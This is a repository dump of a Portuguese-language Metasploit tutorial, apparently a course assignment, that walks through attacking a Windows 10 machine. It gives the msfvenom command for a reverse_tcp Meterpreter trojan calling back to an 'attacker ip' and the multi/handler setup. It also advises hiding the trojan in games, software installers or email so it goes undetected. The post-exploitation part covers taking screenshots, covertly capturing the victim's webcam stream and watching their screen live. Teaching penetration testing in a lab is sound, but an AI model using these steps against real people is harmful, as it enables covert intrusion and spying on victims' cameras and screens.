├── .README.md.swp ├── README.md ├── README.pdf └── img ├── install_kali_linux.jpg ├── listar_processos.PNG ├── migrate.PNG ├── msfconsole.JPG ├── multi_handler.JPG ├── payload.JPG ├── screengrab.PNG ├── session_opened.JPG ├── start_kali_os.jpg └── use_espia.PNG /.README.md.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/.README.md.swp -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Metasploit Framework (Meterpreter) 2 | 3 | Uma das ferramentas mais poderosas e amplamente utilizadas para testes de penetração. 4 | 5 | Através dessa ferramenta, é possível realizar buscas por vulnerabilidades e explorá-las. O framework contém um repositório de **exploits** (códigos executáveis capazes de aproveitar as vulnerabilidades de sistemas em um computador local ou remoto) e, por exemplo, ganhar acesso ao computador alvo. 6 | 7 | A maioria de seus recursos pode ser encontrada em - www.metasploit.com. 8 | 9 | ## Objetivos 10 | 11 | Neste tutorial, apresentamos os comandos principais para uso do framework Metasploit assim como um exemplo de ataque obtendo acesso remoto ao computador da vítima e realizar as seguintes ações: 12 | 13 | - Tirar uma screenshot da tela da vítima. 14 | - Capturar um stream de vídeo da webcam da vítima. 15 | - Monitorar em tempo real a tela da vítima. 16 | 17 | ## Instalação 18 | 19 | A distribuição Kali Linux possui a versão da comunidade Metasploit embutida e centenas de outras ferramentas que facilitam os passos deste tutorial. 20 | 21 | Para instalar o Kali Linux, recomendamos utilizar uma imagem pré-configurada da máquina virtual Kali Linux e incializá-la com o Virtual box. 22 | 23 | 24 | 1. Para baixar o Virtual Box, vá para www.virtualbox.org/wiki/Downloads e selecione a versão para o seu SO e configuração de hardware do seu sistema 25 | 26 | 2. Para instalar o Kali Linux, vamos baixar a imagem pré-configuradas para o Virtual Box neste [link](https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/) 27 | 28 | 29 | ![Baixar Kali Linux](https://raw.githubusercontent.com/davicedraz/metasploit/master/img/install_kali_linux.jpg) 30 | 31 | 32 | Mas também é possível baixar e instalar a distribuição Kali disponível no site oficial: www.kali.org/downloads/. 33 | 34 | 3. Agora, vamos abrir o VirtualBox e adicionar uma nova máquina. Selecione e abra a imagem do Kali Linux e inicie a máquina virtual. 35 | 36 | Agora você pode iniciar o seu Kali. Seu nome de usuário padrão será **root** e sua senha **toor**. 37 | 38 | Mas se você quiser instalar o Metasploit como uma ferramenta separada, você pode fazê-lo facilmente em sistemas executados no Linux ou Mac OS X: 39 | 40 | ``` 41 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ 42 | chmod 755 msfinstall && \ 43 | ./msfinstall 44 | ``` 45 | 46 | Seja no seu Kali Linux ou após instalar corretamente o framework metasploit, mantenha-o sempre atualizado com o comando: 47 | 48 | > msfupdate 49 | 50 | 51 | ## Iniciando o Metasploit 52 | 53 | No seu Kali Linux devidamenta instalado, abra o console do Metasploit no Kali seguindo o caminho: Aplicativos → Ferramentas de exploração → Metasploit. 54 | 55 | Ou em qualquer OS que tenha instalado o Metasploit, digite o seguinte comando no terminal: 56 | 57 | > msfconsole 58 | 59 | Aqui podemos ver a quantidade de **exploits** e **payloads** disponíveis no *Metasploit* para serem usados em um teste de penetração. 60 | 61 | ![Baixar Kali Linux](https://raw.githubusercontent.com/davicedraz/metasploit/master/img/msfconsole.JPG) 62 | 63 | ## Comandos Principais 64 | 65 | Dentro do **msfconsole** temos uma infinidade de comandos e seria impossível explicar cada um deles neste tutorial. Apresentamos aqui os comandos básicos que deve ser suficiente para utilizar essa poderosa ferramenta no exemplo prática que faremos em seguida. 66 | 67 | Quando o Metasploit fo inicializado e o **msfconsole** estiver sendo executado, podemos digitar "help" para obter uma visão geral dos comandos uma descrição: 68 | 69 | Com o comando show" podemos visualizar no console qualquer coleção desejada (payloads, exploits, opções, etc) 70 | Ex: 71 | 72 | > show exploits 73 | 74 | Este comando lista todos os exploits disponíveis, que podem ser selecionados com o comando use" 75 | 76 | Ex: 77 | > use multi/handler 78 | 79 | Quando um exploit é selecionado com o comando use, podemos recuperar informações como nome, plataforma, autor, destinos disponíveis e muito mais usando o comando info" 80 | 81 | ![Info](https://www.hackingtutorials.org/wp-content/uploads/2016/04/Metasploit-info-command-4.jpg) 82 | 83 | É possível utilizar o help" e "show" para obter ajuda com os comandos disponíveis. 84 | 85 | Mergulhe na [documentação](https://metasploit.help.rapid7.com/docs) para aprender sobre outros comandos básicos avançados do framework Metasploit. 86 | 87 | Por hora, vamos seguir com o que aprendemos para um exemplo prático de ataque. 88 | 89 | 90 | ## Exemplo de ataque com Meterpreter 91 | 92 | Em exemplo prático utilizaremos como alvo uma virtualização do **Windows 10 Home Edition**. 93 | 94 | Esta escolha foi feita pensando em uma situação que melhor representa uma situação do cotidiano, já que, segundo o [StatCounter]( http://gs.statcounter.com/press/android-overtakes-windows-for-first-time) o Windows é o segundo sistema operacional mais utilizado, perdendo apenas para o Android. 95 | 96 | Desta forma, sendo o Windows 10 a versão mais recente do sistema da Microsoft o escolhemos para mostrar que a ferramenta Metasploit pode ser utilizada até mesmo em um sistema comercial e supostamente seguro como o Windows 10. 97 | 98 | Segundo a Microsoft, todas as vulnerabilidades do Windows 10 foram consertadas. De fato, os esforços da empresa dificultaram o uso de exploits remotos. Em nossas pesquisas, não foram encontradas formas de infectar uma máquina Windows 10 através de exploits remotos. Por isso, infectaremos a máquina da vítima através de um **Trojan**. 99 | 100 | 101 | ### Trojan 102 | 103 | O Trojan se passa por um programa que simula alguma funcionalidade útil quando de fato ele esconde um programa que pode causar malefícios aos computadores e seus usuários, como abrir portas e possibilitar invasões ou roubar senhas de usuário. 104 | 105 | Os dois tipos mais comuns de Trojans são os Keyloggers (que normalmente são utilizados para roubar senhas) e os Backdoors (arquivos que possibilitam aberturas de portas para invasão). 106 | 107 | ### Payload 108 | 109 | Diferente dos Vírus e Worms, um trojan não se auto copia, não necessitam infectar outros programas para executar suas funções, necessitando apenas ser executados para dar início ao ataque. 110 | 111 | Em segurança, o termo _payload_ geralmente se refere à parte do código malicioso que executa alguma ação. Para realizar nosso ataque, vamos utilizá-lo para infectar a máquina da vítima. 112 | 113 | Vamos utilizar o **msfvenom** para gerar o nosso trojan e infectar a vítima com um arquivo executável malicioso que será responsável por abrir uma conexão entre dispositivo alvo e a máquina do atacante. 114 | 115 | ``` 116 | msfvenom -p windows/meterpreter/reverse_tcp —platform windows -a x86 -f exe LHOST=_“attacker ip”_ LPORT=444 -o /root/Desktop/trojan.exe 117 | ``` 118 | 119 | Aqui efinimos a porta para 444 e o seu IP público ou IP local da máquina que estamos utilizando para o ataque. 120 | 121 | Através deste comando, o payload será gerado no formato .exe para infectar a máquina alvo. Ao ser executado, o trojan gerado tentará se conectar a este IP através desta porta, estabelecendo uma conexão para ser explorada. 122 | 123 | 124 | ![Gerar payload](https://raw.githubusercontent.com/davicedraz/metasploit/master/img/payload.JPG) 125 | 126 | 127 | Esse processo é bastante simples, a parte mais difícil é executar o trojan na máquina alvo sem ser detectado. Anexar o arquivo junto com dados de instalação de jogos ou programas pode funcionar muito bem. 128 | 129 | ### Exploit 130 | 131 | Agora que temos nosso payload configurado para ser executado no alvo, iremos preparar nosso ambiente para explorar a vulnerabilidade através de um **exploit**. 132 | 133 | 1. Voltamos ao nosso terminal do **metasploit** através do comando: 134 | 135 | > msfconsole 136 | 137 | Agora podemos usar os comandos >msf 138 | 139 | 2. Faremos uso do handler para estabelecer uma conexão: 140 | 141 | > use multi/handler 142 | 143 | 3. Indicamos que a conxão será estabelecida através do payload reverse_tcp, ou seja, a máquina alvo irá se conectar a máquina atacante e da execução do multi/handler exploit: 144 | 145 | > set PAYLOAD windows/meterpreter/reverse_tcp 146 | 147 | 4. Setamos a porta local para 444 para estabelecer a conexão 148 | 149 | > set LPORT 444 150 | 151 | 5. Configuramos IP do atacante (seu IP): 152 | 153 | > set LHOST “attacker ip” 154 | 155 | 6. Executamos o reverse_tcp através do comando: 156 | 157 | > exploit 158 | 159 | ![Multi handler](https://raw.githubusercontent.com/davicedraz/metasploit/master/img/multi_handler.JPG) 160 | 161 | Agora só esperar a vítima executar o trojan para estabelecer uma conexão. 162 | 163 | 164 | ### Executando o payload 165 | 166 | Como foi dito anteriormente, a parte mais difícil é executar o trojan na máquina alvo. Distribuir o arquivo .exe bruto é uma má idéia, a melhor forma de infectar o alvo é codificá-lo e anexá-lo a um aplicativo normal ou a um jogo ou até mesmo a um e-mail. 167 | 168 | Assim que o arquivo trojan.exe for executado no alvo, uma sessão será iniciada na máquina do atacante , permitindo que você execute comandos do sistema, comandos de rede, e muito mais. 169 | 170 | Uma vez que o trojan esteja em execução, será executada uma sessão do **meterpreter**. 171 | 172 | ![Conexão estabelecida](https://raw.githubusercontent.com/davicedraz/metasploit/master/img/session_opened.JPG) 173 | 174 | 175 | ## Meterpreter 176 | 177 | Agora que temos acesso à maquina da vítima podemos utilizar uma da ferramentas mais importantes do Metasploit, o **Meterpreter**. 178 | 179 | O Meterpreter é um payload, dinamicamente extensível, que utiliza injeção de DLL através de uma conexão entre vítima e atacante e é estendida pela rede em tempo de execução. Fonte: 180 | 181 | Com o console do meterpreter aberto, vamos explorar algumas ações que a ferramenta nos permite realizar. 182 | 183 | ### Capturar tela da vítima 184 | 185 | Como nossa vítima utiliza o Windows, para capturarmos sua tela primeiramente precisamos identificar o processo **Explorer.exe**. É ele que nos permitirá acessar a tela da nossa vítima. 186 | Utilize o comando **`ps`** para listar os processos que estão sendo executados. 187 | 188 | ![Listar processos](https://raw.githubusercontent.com/davicedraz/metasploit/master/img/listar_processos.PNG) 189 | 190 | Ao identificar o *PID* do processo **Explorer.exe** utilize o comando **`migrate 260`** 191 | para migrar para este processo. 192 | 193 | ![migrar processo](https://github.com/davicedraz/metasploit/blob/master/img/migrate.PNG?raw=true) 194 | 195 | Após ter migrado para o processo **Explorer.exe** com sucesso, precisamos utilizar a extensão **espia** do meterpreter para habilitar a captura de tela no computador da vítimas. 196 | Para isso, insira o comando **`use espia`**. 197 | 198 | ![habilitar captura](https://github.com/davicedraz/metasploit/blob/master/img/use_espia.PNG?raw=true) 199 | 200 | Agora que a captura de tela foi permitida, basta executar o comando **`screengrab`** para capturar a tela. 201 | 202 | ### Capturar stream da webcam da vítima 203 | Agora vamos acessar a webcam da vítima e capturamos o seu stream de vídeo. Mas antes disso, precisamos verificar se a vítima possui uma webcam. 204 | 205 | Para isso, utilize o comando **`webcam_list`**. 206 | 207 | Agora que identificamos que a vítima possui um dispositivo de webcam, vamos verificar se alguém está usando a maquina vítima. Para isso, vamos capturar uma imagem doa câmera. 208 | Insira o comando **`webcam_snap`**. 209 | 210 | Agora é hora de capturarmos o stream da câmera. O comando **`run webcam`** captura as imagens da câmera, enquanto o comando **`-p /caminho/de/armazenamento`** indica o caminho onde será salvo as imagens. 211 | Para este tutorial, vamos utilizar o caminho ***/var/www***. 212 | Desta forma, insira o comando **`run webcam -p /var/www`** 213 | 214 | ### Monitorar Tela em Tempo Real 215 | 216 | Para espionar o conteúdo na tela do alvo, o comando abaixo irá iniciar um processo na máquina da vítima que transmite em tempo real para a máquina atacante: 217 | 218 | > run vnc 219 | 220 | #### Importante! 221 | 222 | Como previsto na **Lei 12.737/2012 no Art. 154-A**. Invadir dispositivo informático alheio, conectado ou não à rede de computadores, mediante violação indevida de mecanismo de segurança e com o fim de obter, adulterar ou destruir dados ou informações sem autorização expressa ou tácita do titular do dispositivo ou instalar vulnerabilidades para obter vantagem ilícita, resultará em **Pena – detenção, de 3 (três) meses a 1 (um) ano, e multa**. 223 | 224 | Lei Nº 12.737, de 30 de novembro de 2012. 225 | 226 | **Para fazer o download deste tutorial em PDF, [clique aqui](https://github.com/davicedraz/metasploit/raw/master/README.pdf).** 227 | 228 | ## Sugestão de Atividade 229 | 230 | 1. Refazer os passos do tutorial gerando seu próprio payload para plataforma e extensâo da sua escolha (ou um trojan para windows). 231 | 232 | 2. Infectar uma máquina alvo e executar os comandos de acesso remoto. 233 | 234 | 235 | Entregáveis: 236 | 237 | - Payload gerado 238 | - Screenshot do terminal meterpreter com a conexão reverse_tcp estabelecida 239 | - Screenshot ou Streamvideo da tela da máquina alvo 240 | 241 | 242 | 243 | ## Links de referência: 244 | 245 | http://www.khromozome.com/how-to-hack-windows-10-using-kali-linux/ 246 | 247 | https://linuxhint.com/metasploit-tutorial/ 248 | 249 | https://www.tutorialspoint.com/metasploit/metasploit_environment_setup.htm 250 | 251 | https://www.hackingtutorials.org/metasploit-tutorials/metasploit-commands/ 252 | 253 | https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/ 254 | 255 | # 256 | _“Metasploit is not hacking instant tool, it is an insane framework”_ 257 | ##### Autores: Davi Cedraz e Samuel Alves 258 | -------------------------------------------------------------------------------- /README.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/README.pdf -------------------------------------------------------------------------------- /img/install_kali_linux.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/install_kali_linux.jpg -------------------------------------------------------------------------------- /img/listar_processos.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/listar_processos.PNG -------------------------------------------------------------------------------- /img/migrate.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/migrate.PNG -------------------------------------------------------------------------------- /img/msfconsole.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/msfconsole.JPG -------------------------------------------------------------------------------- /img/multi_handler.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/multi_handler.JPG -------------------------------------------------------------------------------- /img/payload.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/payload.JPG -------------------------------------------------------------------------------- /img/screengrab.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/screengrab.PNG -------------------------------------------------------------------------------- /img/session_opened.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/session_opened.JPG -------------------------------------------------------------------------------- /img/start_kali_os.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/start_kali_os.jpg -------------------------------------------------------------------------------- /img/use_espia.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/davicedraz/metasploit-tutorial/74fac4e81b498eae2891d1bdb1638b2624d44b11/img/use_espia.PNG --------------------------------------------------------------------------------